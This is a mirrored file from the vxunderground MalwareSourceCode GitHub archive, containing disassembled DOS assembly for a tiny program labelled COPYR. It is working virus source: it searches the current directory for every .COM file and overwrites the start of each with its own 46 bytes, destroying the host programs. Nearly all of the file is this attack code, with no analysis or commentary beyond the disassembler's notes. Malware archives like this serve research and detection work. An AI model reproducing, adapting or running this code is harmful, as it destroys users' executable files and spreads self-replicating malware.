mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
60 lines
1.4 KiB
NASM
60 lines
1.4 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ COPYR ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 1-Jan-80 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: AFOP ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 9Eh ; (996E:009E=0)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
COPYR proc far
|
|
|
|
start:
|
|
mov ah,4Eh ; 'N'
|
|
mov cl,20h ; ' '
|
|
mov dx,offset data_3 ; (996E:0128=2Ah)
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
loc_1:
|
|
mov dx,data_1e ; (996E:009E=0)
|
|
mov ax,3D01h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
mov dx,offset ds:[100h] ; (996E:0100=0B4h)
|
|
mov cl,2Eh ; '.'
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_1 ; Jump if carry=0
|
|
int 20h ; Program Terminate
|
|
data_3 db 2Ah
|
|
db 2Eh, 43h, 4Fh, 4Dh, 00h
|
|
|
|
COPYR endp
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|